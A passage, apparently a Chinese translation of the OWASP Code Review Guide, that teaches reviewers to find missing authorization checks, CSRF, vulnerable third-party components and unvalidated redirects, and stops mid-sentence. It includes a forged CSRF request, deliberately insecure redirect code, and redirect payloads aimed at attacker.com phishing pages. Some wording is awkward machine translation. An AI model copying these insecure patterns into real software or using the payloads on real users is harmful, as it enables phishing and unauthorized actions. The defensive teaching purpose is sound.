当访问每个功能时,应用程序需要在服务器上执行相同的访问控制审计。如果请求未经验证, 攻击者将能够伪造请求,以便在没有适当授权的情况下访问功能。 3.7.1 授权 授权和认证一样重要。应授权访问应用程序功能和所有数据。对于数据访问授权,应用 程序逻辑应该审计数据是否属于经过身份验证的用户,或者用户是否应该能够访问该数据。 安全审计的设置是应用程序设计中一个重要的审计领域。不正确的设置会使应用的安全 控制变得无用,因此审计应用程序设计并确定此类审计的正确性非常重要。许多网络应用程 序设计都是基于模型-视图-控制器(MVC)的概念,它有一个中央控制器,可以监听所有传入 的请求,并将控制委托给适当的表单/业务流程逻辑。最终,用户会看到一个视图。在这种 分层设计中,当有许多实体参与处理一个请求时,开发人员可能会错误地将安全控件放置在 不正确的位置,例如,一些应用程序开发人员认为“视图”是进行授权审计的正确位置。 202 授权问题覆盖了 web 应用程序中的许多层;从用户在应用层获得应用程序特定功能的 功能授权,到持久层的数据库访问授权和最低特权问题。 在大多数应用程序中,请求参数或网址是决定处理逻辑的唯一因素。在这种情况下,请 求中用于这种标识的元素可能会受到操纵攻击,以获得对应用程序中受限资源或页面的访问。 实现授权有两种主要的设计方法:基于角色的访问控制(RBAC)和访问控制列表(ACL)。 RBAC 是指为用户分配特定角色,然后为角色分配权限。它是对实际系统授权的更符合逻辑 的建模。它还允许管理员细化和重新审计角色权限,同时确保每个角色都拥有它应该拥有的 权限(不多也不少)。 因此,给用户分配角色应该减少人为错误的机会。许多 web 框架允许将角色分配给登 录的用户,并且自定义代码可以审计会话信息,以基于当前用户角色来授权功能。 3.7.2 描述 在页面/视图级别限制用户似乎是合理的,因为他们不能在应用程序中执行任何操作。 但是,如果不是请求页面/视图,而是未经授权的用户试图请求内部操作,如添加/修改应用 程序中的任何数据,该怎么办?这种情况下,操作将被处理,但结果视图会拒绝给用户。这 里的缺陷在于应用程序中只有基于视图的访问控制。许多业务逻辑处理(对于请求)是在“视 图”执行之前完成的。因此,处理任何操作的请求都可以在没有授权的情况下成功处理。 在一个基于 MVC 的系统中,这个问题显示在下面的图中,其中验证审计出现在视图操 作中。 203 图: MVC 访问控制 在这个例子中,控制器 servlet(中央处理实体)和动作类都没有任何访问控制审计。如 果用户请求一个内部操作,如添加用户详细信息,而不进行身份验证,它将被正常处理,但 唯一的区别是,用户将显示一个错误页面,因为结果视图将不允许用户使用。在 ASP.NET 的应用程序中也观察到类似的缺陷,开发人员倾向于混合处理 POSTBACK 和身份验证审计 的代码。通常可以观察到,ASP.NET 页面中的身份验证审计不适用于 POSTBACK,如下所 示。在这里,如果攻击者试图在没有验证的情况下访问页面,将呈现一个错误页面。相反, 如果攻击者试图在没有身份验证的情况下直接发送内部 POSTBACK,就会成功。 配置文件中可能存在未使用或未声明的操作或功能。这种未在应用程序中作为有效功能 公开(或测试)的配置会扩大攻击面,并增加应用程序的风险。下面的示例中显示了配置文件 中存在的一个未使用的配置,其中文件末尾的“test”是测试周期遗留下来的,将向外部用 户公开。很可能不会在每个版本中都审计此操作,并且可能会暴露漏洞。 204 示例: <mapping> <url>/InsecureDesign/action/AddUserDetails</url> <action>Action.UserAction</action> <success>JSP_WithDesign/Success.jsp</success> </mapping> <mapping> <url>/InsecureDesign/action/ChangePassword</url> <action>Action.ChangePasswordAction</action> <success>JSP_WithDesign/Success.jsp</success> </mapping> <mapping> <url>/InsecureDesign/action/test</url> <action>Action.TestAction</action> <success>JSP_WithDesign/Success.jsp</success> </mapping> 当今大多数设计框架中的另一个流行特性是数据绑定,其中,请求参数直接绑定到相应 业务/命令对象的变量。这里的绑定是指这样的类的实例变量根据它们的名字自动用请求参 数值初始化。这种设计的问题是业务对象可能有不依赖于请求参数的变量。这些变量可能是 关键变量,如价格、最高限价、角色等。具有静态值或者依赖于某些服务器端处理逻辑。这 种情况下的一个威胁是攻击者可能会在请求中提供额外的参数,并试图为业务对象类的未公 开变量绑定值。在这种情况下,攻击者可以在请求中发送一个附加的“价格”参数,该参数 与业务对象中未公开的变量“价格”绑定,从而操纵业务逻辑。 3.7.3 审计什么 在处理任何业务逻辑之前,以及在 ASP.NET 应用程序独立于 POSTBACK 之前,必须 205 进行所有验证审计。在处理任何请求之前,必须进行身份验证审计等安全控制。 当在 MVC 3 及以上版本中实现授权时,建议使用过滤器.NET MVC 3 在 global.asax 中引入了一个名为 RegisterGlobalFilters 的方法,可以用来默认拒绝访问应用程序中的网 址。 示例: public static void RegisterGlobalFilters(GlobalFilterCollection filters){ filters.Add(new HandleErrorAttribute()); filters.Add(new System.Web.Mvc.AuthorizeAttribute()); } 建议在审计 MVC3/4 .NET 的时候来看看授权是如何实现的。上面那行 filters.Add(new System.Web.Mvc.AuthorizeAttribute());"默认拒绝访问任何没有有效会话的请求。如果 实现了这一点,我们可能需要提供对某些页面的未授权访问,如注册页面、公共欢迎页面或 登录页面。 指令“AllowAnonymous”用于提供对不需要有效会话的公共页面的访问。代码如下 所示: 示例: [AllowAnonymous] public ActionResult LogMeIn(string returnUrl) 审计授权代码时,可以审计以下注意事项: ⚫ 每个入口点都应得到授权。每个功能都要授权。 206 ⚫ 授权审计应该是高效的,并在一个中心代码库中实现,以便能够一致地应用。 ⚫ 如果授权失败,应该返回一个未经授权的页面。 ⚫ 使用 RBAC 时,应用程序必须有某种方式来报告系统当前提供的用户及其相关角 色。这允许企业定期审核用户对系统的访问,并确保其准确性。例如,如果某个用 户在系统上被设置为管理员,那么该用户将工作更改到另一个部门时,管理员角色 可能需要回收。 ⚫ 应该有一个简单的方法来更改或删除用户的角色(在 RBAC 系统中)。添加、修改用 户或从角色中删除用户需要记录在审计日志中。 ⚫ 对于风险较高的角色,这些角色的添加、修改和删除应涉及多级授权(例如, maker/checker),这可以在应用程序本身中进行跟踪,或者通过某个集中式角色 应用程序进行跟踪。系统控制角色的功能和代码都应该是审计范围的一部分。 ⚫ 在设计层面,尝试保持简单的角色范围。具有多个权限级别/角色的应用程序通常 会增加权限集冲突的可能性,从而导致意外的权限。 ⚫ 在具有胖客户端的应用架构中(即,运行在个人电脑上的移动应用程序或二进制文 件)不会试图在客户端代码中执行任何授权,因为攻击者可能会绕过这一点。在基 于浏览器的应用程序中,不要在 JavaScript 中执行任何授权决定。 ⚫ 绝不要将授权决策建立在不可信数据的基础上。例如,不要使用客户端请求中的标 头或隐藏字段来确定用户将拥有的授权级别,这也可能被攻击者操纵。 ⚫ 遵循“完全调解”的原则,即在职能的每个阶段审计授权。例如,如果一个应用程 序 有 四 个 页 面 需要 浏 览才 能 购 买 一 个 项目 (browse.html , browse.html, 207 inputpay-ment.html,makePayment.html),那么在每个页面审计用户授权, 并在页面内进行分级,而不是只在第一页执行审计。 ⚫ 默认情况下,拒绝访问任何页面,然后使用授权逻辑根据角色/ ACL 规则授予访问 权限。 ⚫ 授权数据、数据库或会话存放在哪里? ⚫ 从文件中删除所有冗余/测试/未公开的业务逻辑配置。 ⚫ 业务/表单/命令对象必须只有那些依赖于用户输入的实例变量。 3.8 A8 跨站点请求伪造(CSRF) CSRF 攻击诱导已登录的受害者通过浏览器向易受攻击的网络应用程序发送伪造的 HTTP 请求,请求会携带包括受害者的会话 cookie 和任何其他自动包含的身份验证信息。 这会让后台应用程序认为是来自受害者的合法请求。 3.8.1 描述 CSRF 是一种攻击,它迫使最终用户在他们当前经过身份验证的 web 应用程序上执行 不需要的操作。在社会工程的帮助下(比如通过电子邮件/聊天发送链接),攻击者可能会迫 使网络应用程序的用户执行非自愿选择的操作。在普通特权用户的情况下,成功的 CSRF 利 用可能会危及用户数据和受保护的功能。如果目标用户是管理员帐户,这可能会危及整个 web 应用程序。 CSRF 与 XSS(跨站点脚本)不同,后者迫使可信网站向毫无防备的受害者提供恶意内容。 如果攻击者知道目标是通过基于网络的系统验证的,则跨站点请求伪造(CSRF,也称为 208 CSURF 或混乱代理)攻击被认为是有用的。只有当目标登录到系统中时,它们才起作用,因 此攻击范围很小。同时需要存在其他逻辑弱点,例如用户不需要交易授权。实际上,攻击者 利用 CSRF 攻击使目标系统执行一项功能(资金转移、表单提交等..)。在目标用户不知情的 情况下通过目标的浏览器,主要目标是利用网络应用程序的“易用”特性(一键购买)。 基于受害者的角色,CSRF 成功开发的影响差异很大。当以普通用户为目标时,成功的 CSRF 攻击会危及最终用户数据及其相关功能。如果目标终端用户是管理员帐户,CSRF 攻 击可能会危及整个网络应用程序。更容易受到攻击的网站是社区网站(社交网络、电子邮件) 或拥有高美元价值账户的网站(银行、股票经纪公司、账单支付服务)。即使用户使用强加密 (HTTPS)登录网站,也可能发生这种攻击。利用社交工程,攻击者将在电子邮件或网站中嵌 入恶意的超文本标记语言或超文本标记语言代码,以请求特定的“任务网址”。然后,任务 在用户不知情的情况下执行,或者直接执行,或者利用跨站点脚本漏洞(例如:Samy MySpace 蠕虫)执行。 3.8.1.1 它们是如何工作的 CSRF 攻击通过从经过身份验证的用户的浏览器向应用程序发送恶意的 HTTP 请求来工 作,利用应用程序在没有目标用户授权的情况下提交事务。只要用户经过身份验证,并且用 户的浏览器向目标应用程序发送了一个有意义的 HTTP 请求,应用程序就不知道该请求的来 源是有效的交易还是用户点击的链接(也就是说,来自电子邮件还是浏览器点击)。与此同时, 用户向应用程序进行了身份验证,因为来自用户浏览器的请求将自动包含“Cookie”头, 这是验证的基础。所以,攻击者让受害者执行他们不想做的动作,例如购买物品。下面示例 展示了一个向票贩子发出的购买多张票的请求。 示例: 209 POST http://TicketMeister.com/Buy_ticket.htm HTTP/1.1 Host: ticketmeister User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;) Firefox/1.4.1 Cookie: JSPSESSIONID=34JHURHD894LOP04957HR49I3JE383940123K ticketId=ATHX1138&to=PO BOX 1198 DUBLIN 2&amount=10&date=11042008 供应商的响应是确认购票: HTTP/1.0 200 OK Date: Fri, 02 May 2008 10:01:20 GMT Server: IBM_HTTP_Server Content-Type: text/xml;charset=ISO-8859-1 Content-Language: en-US X-Cache: MISS from app-proxy-2.proxy.ie Connection: close <?xml version=”1.0” encoding=”ISO-8859-1”?> <pge_data> Ticket Purchased, Thank you for your custom. </pge_data> 3.8.1.2 审计什么 这个问题很容易检测,但是在应用程序的功能周围可能有补偿控件,这可能会提醒用户 CSRF 攻击风险。只要应用程序接受一个格式良好的 HTTP 请求,并且该请求符合应用程序 的一些业务逻辑,CSRF 就会产生。 通过审计页面呈现,我们需要查看用户浏览器中的应用程序呈现的链接是否附加了任何 唯一的标识符。如果没有与每个 HTTP 请求相关的唯一标识符来将一个 HTTP 请求绑定到 用户,我们就容易受到攻击。会话标识是不够的,因为如果用户点击欺诈链接,会话标识将 自动发送,因为用户已经通过身份验证。 210 3.8.1.3 不起作用的预防措施 表 21 列出了攻击者可以绕过的尝试性 CSRF 防范技术的示例,这些措施不应用于敏感 应用程序,并且不能通过代码审计。 表:针对 CSRF 攻击的不成功对策 措施 描述 使用秘密的 Cookie 请记住,所有 cookie,即使是秘密的 cookie,都将 随每个请求一起提交。 无论最终用户是否被欺骗提 交请求,都将提交所有身份验证令牌。 此外,会话 标识符仅由应用程序容器使用,以将请求与特定的会 话对象相关联。 会话标识符不会验证最终用户是否 打算提交请求。 只使用 POST 请求 将应用程序开发为仅接受 POST 请求以执行业务逻 辑,这样的误解是认为攻击者无法构建恶意链接,因 此无法执行 CSRF 攻击。 不幸的是,这种逻辑是不正 确的。 攻击者可以通过多种方法诱骗受害者提交恶 意攻击。伪造的 POST 请求,例如攻击者网站中托管 的带有隐藏值的简单表单。 此表单可以由 JavaScript 自动触发,也可以由认为该表单还会执行其他操作的 受害人触发。 211 将交易拆分为多步 多步骤交易不足以防止 CSRF。 只要攻击者可以预测 或推断完成的交易的每一步,那么 CSRF 就是可能的。 URL 重写 这可能被视为一种有用的 CSRF 预防技术,因为攻击 者无法猜测受害者的会话 ID。 但是,用户的凭据会 面临泄露的风险(日志或者历史记录中)。 密码、转移资金、购买,应用程序可能不会简单地执行请求,而是应该用另一个用户密 码请求或带外(即,双因素)验证项目。 3.8.2 预防 CSRF 审计请求是否有一个有效的会话 cookie 是不够的,应用程序需要有一个与发送给应用 程序的每个 HTTP 请求相关联的唯一标识符。CSRF 请求(来自攻击者的电子邮件)将没有这 个有效的唯一标识符。CSRF 请求之所以没有这个唯一的请求标识符,是因为这个唯一的标 识被呈现为一个隐藏的字段,或者在网址中,并且一旦选择了链接/按钮,它就会被附加到 HTTP 请求中。攻击者不知道这个唯一的标识,因为它是随机的,并且是按链接、按页面动 态呈现的。 3.8.2.1 防止 CSRF 的应用逻辑 ⚫ 在将页面交付给用户之前,会编译一个唯一标识列表。该列表包含为给定页面上的 所有链接生成的所有有效唯一标识。唯一标识可以从安全的随机生成器(如 J2EE 的 安全随机存储器)中获得,并可以存储在会话或另一个集中式缓存中。 ⚫ 在向用户显示之前,唯一的标识被附加到所请求页面上的每个链接/表单。 212 ⚫ 应用程序审计与 HTTP 请求一起传递的唯一标识对于给定的请求是否有效。如果与 HTTP 请求一起传递的唯一标识对给定的请求有效则允许操作。 ⚫ 如果唯一标识不存在,则终止用户会话并向用户显示错误。 3.8.2.2 一般建议:同步器令牌模式 为了促进“透明但可见”的 CSRF 解决方案,鼓励开发人员采用同步令牌模式 http://www.corej2eepatterns.com/Design/PresoDesign.htm. 同步器令牌模式要求生 成与用户当前会话相关联的随机“挑战”令牌。然后,这些挑战令牌被插入到与敏感的服务 器端操作相关联的 HTML 表单和链接中。当用户希望调用这些敏感操作时,HTTP 请求应 该包括这个质询令牌。然后,服务器应用程序负责验证该令牌的存在和正确性。通过在每个 请求中包含一个挑战令牌,开发人员可以很好地控制验证用户是否真的打算提交所需的请求。 在与敏感业务功能相关联的 HTTP 请求中包含所需的安全令牌有助于减轻 CSRF 攻击,因为 成功的攻击需要攻击者知道目标受害者的会话随机生成的令牌。下面的概要描述了将质询令 牌合并到请求中的一般方法。 当一个网络应用程序制定一个请求时(通过生成一个链接或表单,在提交时引发一个请 求,或者由用户点击),应用程序应该包括一个隐藏的输入参数。参数具有一个共同的名字, 如“CSRFToken”。该令牌的值必须随机生成,以便攻击者无法猜到。java 应用程序利用 java.security.SecureRandom 类来生成足够长的随机令牌。也可以使用替代生成算法,包 括使用 256 位 BASE64 编码哈希。选择这种生成算法的开发人员必须确保在被散列以生成 随机令牌的数据要具有随机性和唯一性。 213 示例: <form action=”/transfer.do” method=”post”> <input type=”hidden” name=”CSRFToken” value=”OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE... wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ... MGYwMGEwOA==”> … </form> 根据产品的风险级别,它可能只为当前会话生成一次此令牌。在最初生成该令牌后,该 值存储在会话中,并在会话到期前用于每个后续请求。当最终用户发出请求时,服务器端组 件必须验证请求中令牌的存在且有效,并与会话中找到的令牌进行比较。如果在请求中找不 到令牌,或者提供的值与会话中的值不匹配,则应中止请求,重置令牌,并将事件记录为正 在进行的潜在 CSRF 攻击。 为了进一步增强此建议设计的安全性,请考虑为每个请求随机化 CSRF 令牌参数名称和 值。实现这种方法会生成每个请求的令牌,而不是每个会话的令牌。但是,请注意,这可能 会导致可用性问题。例如,“后退”按钮的浏览器功能通常会受到阻碍,因为上一页可能包 含不再有效的令牌。与上一页的交互将导致服务器发生 CSRF 假阳性安全事件。无论采用何 种方法,都鼓励开发人员像保护经过身份验证的会话标识符一样保护 CSRF 令牌,例如,使 用 SSLv3/TLS。 3.8.2.3 在网址中公开令牌 这种方法的许多实现包括获取请求和发布请求中的挑战令牌。这通常是由于敏感的服务 214 器端操作被页面中的嵌入式链接或其他通用设计模式调用而实现的。这些模式的实施往往不 了解 CSRF,也不了解 CSRF 预防设计策略。虽然这种控制确实有助于降低 CSRF 攻击的风 险,但是对于 GET 请求,每个会话唯一的令牌是公开的。GET 请求中的 CSRF 令牌可能会 在几个位置泄漏:浏览器历史、HTTP 日志文件、记录 HTTP 请求第一行的网络设备,以及 受保护站点链接到外部站点时的参考头。 在后一种情况下(由于被链接站点解析了参考者头,导致 CSRF 令牌泄漏),链接站点很 容易对受保护站点发起 CSRF 攻击,并且他们能够非常有效地攻击目标,因为参考者头告诉 他们站点以及 CSRF 令牌。攻击可以完全通过 javascript 运行,在网站的 HTML 中添加一 个简单的脚本标签就可以发起攻击(无论是在最初的恶意网站上还是在被黑客攻击的网站 上)。这种攻击很容易防止,如果请求的来源是 HTTPS,则将忽略参考。 因此,此攻击不 会影响仅使用 HTTPS 的 Web 应用程序。 理想的解决方案是仅在 POST 请求中包含 CSRF 令牌,并修改状态更改会影响服务器端 的操作以仅响应 POST 请求。 实际上,这就是 RFC 2616 对 GET 请求的要求。 如果保证 敏感的服务器端操作仅响应 POST 请求,则无需在 GET 请求中包含令牌。 3.8.2.4 ViewState (ASP.NET) ASP.NET 有一个选项来维护您的 ViewState。ViewState 指示页面提交到服务器时的状 态。状态是通过一个隐藏字段来定义的,该字段放置在带有<form runat="server">控件 的每个页面上。ViewState 可以用作 CSRF 防御,因为攻击者很难伪造有效的 ViewState。 伪造一个有效的 ViewState 不是不可能的,因为参数值可能被攻击者获得或猜到。但是, 如果当前会话标识被添加到 ViewState,那么它会使每个 ViewState 都是唯一的,因此不 受 CSRF 的影响。 215 要在 ViewState 中使用 ViewState 用户键属性来防止欺骗的回发,请在页面派生类的 OnInit 虚拟方法中添加以下内容(此属性必须在页面中 Page.Init 设置) 示例: protected override OnInit(EventArgs e) { base.OnInit(e); if (User.Identity.IsAuthenticated) ViewStateUserKey = Session.SessionID; } 要使用您选择的唯一值向个人键入 ViewState,请使用“(Page.ViewStateUserKey)"。 这必须在 Page_Init 中应用,因为在加载视图状态之前,必须将密钥提供给 ASP.NET。自 ASP.NET 1.1 版以来,此选项一直可用。然而,这种机制有其局限性。例如,ViewState MACs 只在回发时审计,因此任何其他不使用回发的应用程序请求都将很容易产生 CSRF 攻击。 3.8.2.5 双重提交 Cookies 双重提交 cookie 被定义为在 cookie 和请求参数中发送随机值,服务器验证 cookie 值 和请求值是否相等。 当用户向一个站点进行身份验证时,该站点应该生成一个(加密的强)伪随机值,并将其 设置为用户机器上与会话 id 分开的 cookie。网站不必以任何方式保存该值。然后,网站应 该要求每个敏感的提交都包括这个随机值,作为隐藏的表单值(或其他请求参数),也作为 cookie 值。根据同源策略,攻击者无法读取从服务器发送的任何数据或修改 cookie 值。这 意味着,尽管攻击者可以通过恶意的 CSRF 请求发送他想要的任何值,但攻击者将无法修改 或读取存储在 cookie 中的值。由于 cookie 值和请求参数或表单值必须相同,攻击者将无 216 法成功提交表单,除非他能够猜测随机的 CSRF 值。 直接网络远程处理(DWR) Java 库 2.0 版本内置了 CSRF 保护,因为它透明地实现了双 cookie 提交。 上述 CSRF 通过维护一个秘密令牌来验证请求,从而防止依赖使用唯一令牌和同源策略 来阻止 CSRF。下列方法可以通过依靠 CSRF 攻击永远不会破坏的相似规则来防止 CSRF。 3.8.2.6 审计头部 Referer 虽然在你自己的浏览器上进行请求 referer 欺骗是非常容易的,但是在 CSRF 攻击中是 不可能做到的。审计 referer 是在嵌入式网络设备上防止 CSRF 的常用方法,因为它不需要 每个用户的状态。这使得 referer 成为不记忆任何属性的情况下,预防 CSRF 病的有效方法。 这种 CSRF 缓解方法也通常用于未经身份验证的请求,例如在建立跟踪同步令牌所需的会话 状态之前发出的请求。 然而,审计 referer 被认为是 CSRF 保护的较弱形式。例如,开放重定向漏洞可用于利 用基于 GET 的 CSRF 攻击,如果这些请求通过 referer 审计进行 CSRF 保护,因为一些组织 或浏览器工具删除 header 中的 referer 作为一种数据保护形式。referer 审计也有常见的实 现错误。例如,如果 CSRF 攻击源自 HTTPS 域,则 referer 将被忽略。在这种情况下,当 请求执行状态更改时,缺少 referer 应被视为攻击。还要注意,攻击者对 referer 可以有一 定的影响。例如,如果受害者的域是“ site.com”。然后,攻击者可以利用来自 “site.com.attacker.com”的 CSRF 漏洞,这可能会绕过 referer 审计实现。另外,XSS 可 用于绕过 referer 审计。 简而言之,referer 审计是 CSRF 入侵检测和防御的一种合理形式,尽管它不是一种完 217 全的保护。referer 审计可以检测到一些攻击,但不能阻止所有攻击。例如,如果 HTTP referer 来自不同的域,并且您只期望来自您的域的请求,您可以阻止该请求。 3.8.2.7 审计 Origin Header HTTP 请求头中的 Origin 字段是作为防御 CSRF 和其他跨域攻击的一种方法引入的。 不同于 referer,Origin 将存在于源自 HTTPS URL 的 HTTP 请求中。如果 Origin 报头存在, 则应审计其一致性。 3.8.2.8 挑战-回应 挑战-回应是 CSRF 的另一种防御选择。如前所述,它通常在被调用的函数具有高风险 时使用。虽然挑战-响应是对 CSRF 的一个非常强有力的防御(假设实施得当),但它确实会影 响用户体验。对于需要高安全性的应用程序,应在高风险功能上使用令牌(透明)和挑战-回 应。 以下是挑战-回应选项的一些示例: ⚫ 验证码 ⚫ 重新认证(密码) ⚫ 一次性令牌 3.8.3 没有跨站点脚本(XSS)漏洞 CSRF 不需要跨站点脚本来工作。但是,任何跨站点脚本漏洞都可以用来击败基于令牌、 双重提交 cookie、推荐者和来源的 CSRF 防御。这是因为 XSS 有效负载可以使用 XMLHttpRequest 简单地读取站点上的任何页面,并从响应中获取生成的令牌,将该令牌 218 与伪造的请求包括在内。这项技术正是 MySpace (Samy)蠕虫在 2005 年击败 MySpace 反 CSRF 防御的方法,正是这种方法使蠕虫得以传播。XSS 无法击败诸如验证码、重新认证或 一次性密码等挑战-响应防御措施。因此,防御 CSRF 的前提是不存在 XSS 漏洞,以确保 CSRF 防御无法规避。 3.9 A9 使用已知漏洞的组件 具有已知漏洞的组件,如库、框架和其他软件模块,几乎总是以完全特权运行。如果利 用了易受攻击的组件,这种攻击可能会导致严重的数据丢失或服务器接管。使用具有已知漏 洞的组件的应用程序可能会削弱应用程序的防御能力,并导致一系列可能的攻击和影响。 3.9.1 描述 如今,一个应用程序或软件组件的开发很少不重复使用一些开源或付费的库或框架。这 很有意义,因为这些框架和库已经被开发和运行,并且已经非常成熟稳定。然而,当攻击者 在组件代码中发现缺陷时,这些第三方组件也可能是安全漏洞的来源。事实上,该缺陷比其 它漏洞对攻击者更具吸引力,因为他们知道该漏洞将对使用该组件的每个人起作用。 这个问题已经发展到这样一种状态:流行框架、库和操作系统的缺陷/漏洞在地下市场上 以高价出售。 3.9.2 审计什么 对于这个主题来说,确实没有代码需要审计,除非您的组织已经自己审计了组件的代码 (假设它是开源的,而不是封闭的第三方库),在这种情况下,代码审计将类似于任何其他的 审计审计。然而,代码审计可以在更大的公司范围的跟踪或审计机制中使用,以让组织清楚 219 地知道它正在使用什么第三方代码。 无论公司的规模如何,都应该跟踪第三方组件的使用及其版本,以确保当任何安全漏洞 被发现时,组织可以收到警报。对于规模较小(拥有 1-2 个产品)的公司,这种跟踪可能 像电子表格或 wiki 页面一样简单,但是对于拥有 100 多个应用程序或产品的大型公司来说, 跟踪开发人员使用第三方框架和库的任务与这些库带来的风险一样大。 如果一个公司有 20 个产品,并且每个产品使用 5 或 6 个第三方组件(例如,Apache web 服务器,OpenSSL 加密库,用于 regex 和 DB 交互的 Java 库等)这使得该公司有超过 100 个外部来源,安全漏洞可能来自这些组件。如果公司突然收到了一个严重漏洞,它必须能够 做出反应并升级那些受影响的应用程序,或者采取其他对策来保护自己和客户。 3.9.2.1 控制组件库 大公司用来限制暴露于第三方漏洞的一种方法是控制开发者可以使用哪些库。例如,他 们可以指定开发人员应该使用 OpenSSL 的某个版本作为加密库,而不是其他选项。 这使得管理层和风险控制人员能够了解他们对市场漏洞的风险状况,如果发现漏洞,他 们知道这些漏洞没有暴露(即,一些开发人员没有在其中一个产品上使用 bouncycastle,因 为它不在要使用的加密库列表中)。另一方面,如果 OpenSSL 有 bug,他们所有的鸡蛋都 在那个篮子里,需要马上升级。 限制第三方组件的选择显然会有技术上的挑战,这种政策可能不受希望使用最新最棒框 架的开发人员的欢迎,但确保产品安全的第一步是知道你用什么组件制作的产品。 如何跟踪或实施这样的政策?通常情况下,库或框架以.dll/.so 或源代码形式,集成到 代码行中。此类集成应接受代码审计,作为此代码审计的一项任务,审计者可以审计: 220 ⚫ 这个库是一个可以在产品套件中使用的库(或者可能已经被使用过了,但是开发人 员并不知道,在这种情况下,审计应该被拒绝)。 ⚫ 任何跟踪或审计软件(甚至是基本的数据表)都会更新,以反映产品正在使用第三方 库。这允许在出现漏洞时进行快速补救,这意味着产品将被修补。 3.9.2.2 敲碎坚果的大锤 审计人员的最后一项职责是确保正确的第三方库用于所需的功能。许多库都有大量可能 不被使用的功能。例如,开发人员是否包括一个库来执行他们的正则表达式,但也包括应用 程序不使用/不需要的其他功能?这增加了应用程序的攻击面,当额外的代码打开端口并与 互联网通信时,会导致意外的行为。 如果审计者认为引入了太多的功能/代码,他们可以建议关闭未使用的功能,或者更好 的方法是不将该功能包括在产品中(例如,通过剥离代码,或者硬编码分支,以便从不使用 未使用的函数)。 OWASP 项目“OWASP 依赖性审计”可以为图书馆审计提供一种自动化措施 (https://www.owasp.org/index.php/OWASP_Dependency_Check) 3.10 A10 未验证的重定向和转发 Web 应用程序经常将用户重定向和转发到其他页面和网站,并使用不受信任的数据来 确定目标页面。如果没有适当的验证,攻击者可以将受害者重定向到网络钓鱼或恶意软件网 站,或使用转发来访问未经授权的页面。 221 3.10.1 描述 当 web 应用程序接受不可信输入时,可能会发生未经验证的重定向和转发,这可能会 导致 web 应用程序将请求重定向到不可信输入中包含的网址。通过修改网站的不可信网址 输入,攻击者可以成功发起网络钓鱼诈骗并窃取用户凭据。 由于修改后的链接中的服务器名称与原始站点相同,用于钓鱼的网站与真实网站很难区 分。无效的重定向和转发攻击也可用于创建一个 URL,该 URL 将通过应用程序的访问控制 审计,然后将攻击者转发到他们通常无法直接获取的内部资源。 3.10.1.1 Redirect 网站上的重定向功能允许用户的浏览器转到网站上的不同页面。这可以用来改善用户界 面或跟踪用户如何浏览网站。 为了提供重定向功能,站点可能有一个特定的网址来执行重定向: http://www.example.com/utility/redirect.cgi 该页面将获取一个“网址”的参数(从网址或 POST 体内),并将该地址回复给用户,让 浏览器要转到该页面,例如: http://www.example.com/utility/redirect.cgi?URL=http://www.example.com/viewtx n.html 但是,这可能会被滥用,因为攻击者可能会试图让有效用户单击一个看起来是针对 www.example.com 的链接,但该链接会调用 example.com 的重定向功能,从而导致用户 222 的浏览器进入一个恶意站点(一个看起来像 example.com 的站点,欺骗用户输入敏感或身 份验证信息: • http://www.example.com/utiltiy/redirect cgi?URL=http://attacker.com/fakelogin.html 3.10.1.2 Forwards 转发类似于重定向,但是新页面不会被用户浏览器检索到(就像重定向一样),而是由服 务器框架获取转发的页面并将其返回给用户浏览器。这是通过 Java 框架中的“转发”命令 来实现的(例如,Struts)或. Net 中的“Server.Transfer”。由于转发是由服务器框架本身形 成的,它限制了攻击者可以利用的当前网站的网址范围(即,攻击者不能“转发”到 attacker.com),但是这种攻击可以用来绕过访问控制。例如,当站点在响应中发送转发的 页面时: ⚫ 如果购买,请转到“‘purchase.do” ⚫ 如果取消,请转到“‘cancelled.do”。 这将作为参数传递给网站: http://www.example.com/txn/acceptpayment.html? FWD=购买 相反,如果攻击者使用转发来尝试访问网站内的不同页面,例如,admin.do,则他们 可能会访问他们无权查看的页面,因为授权是在“接受付款”页面上应用的,而不是在转发 页面上。 223 3.10.2 审计什么 如果网址的任何部分被转发或重定向到基于用户输入,那么该网站可能有风险。确保: ⚫ 所有重定向/转发都是基于白名单构建的,或者 ⚫ 所有转发/转发都使用相关路径,以确保它们位于受信任的站点 3.10.2.1 Redirects 以下示例演示了不安全的重定向和转发代码。下面的 Java 代码从“url”参数接收 URL, 并重定向到该 URL。 示例: response.sendRedirect(request.getParameter(“url”)); 下面的 PHP 代码从查询字符串中获取一个 URL,然后将用户重定向到该 URL。 示例: $redirect_url = $_GET[‘url’]; header(“Location: “ . $redirect_url); 类似 C#.NET 的例子易受攻击代码: string url = request.QueryString[“url”]; Response.Redirect(url); 如果没有应用验证或额外的方法控制来验证网址的确定性,上述代码很容易受到攻击。 通过将用户重定向到合法站点,此漏洞可被用作网络钓鱼骗局的一部分。如果用户输入必须 224 作为要使用的网址的一部分,那么对输入应用严格的验证,确保它不能用于预期以外的目的。 请注意,易受攻击的代码不需要显式调用“重定向”函数,而是可以直接修改响应,使 客户端浏览器转到重定向的页面。要查找的代码如表所示。 表:有重定向风险的函数 重定向函数 描述 Redirect Response (注意返回状态时 301 和 307 的请求) HTTP/1.1 302 Found Location: http://www.attacker.com/page.html Meta Tag <html><head> <meta http-equiv=”Refresh” content=”0;url=http://attacker.com/page.html”> JavaScript <script type=”text/javascript”> <!— window.location=”http://attacker.com/page.html” //--> Refresh Header HTTP/1.1 200 OK Refresh=0; url=http://attacker.com/page.html 当攻击者在论坛上发布重定向网址或发送电子邮件时,网站可以审计 Referer 头,以确 保用户来自网站内的某个页面。不过,如果恶意网址包含在网站本身内,此对策将不适用。 考虑创建允许重定向到的网址或选项的白名单,或者拒绝用户自定义重定向协议或主机 名。网站还可以对要重定向到的网址值进行编码(或加密),这样,攻击者就不能轻松创建恶 意的网址参数,当该参数未编码(或未加密)时,将被视为有效。 225 3.10.2.2 Forwards 转发的对策是将可以转发的页面范围列入白名单(类似于重定向),并对转发到的页面和 转发的页面实施身份验证。这意味着,即使攻击者设法强制转发到他们不应该访问的页面, 转发页面上的身份验证审计也会拒绝他们的访问。 3.10.2.3 关于 J2EE 的说明 J2EE 应用程序中的“发送重定向”方法有一个明显的缺陷。例如: response.SendRedirect("home.html"); 该方法用于向用户发送重定向响应,然后用户被重定向到所需的 web 组件,该组件的 网址被传递给该方法的参数。一个这样的误解是,在调用这个方法后,重定向用户的 Servlet/JSP 页面中的执行流停止了。请注意,如果在“如果”条件之后存在代码,它将被 执行。 即使在发送 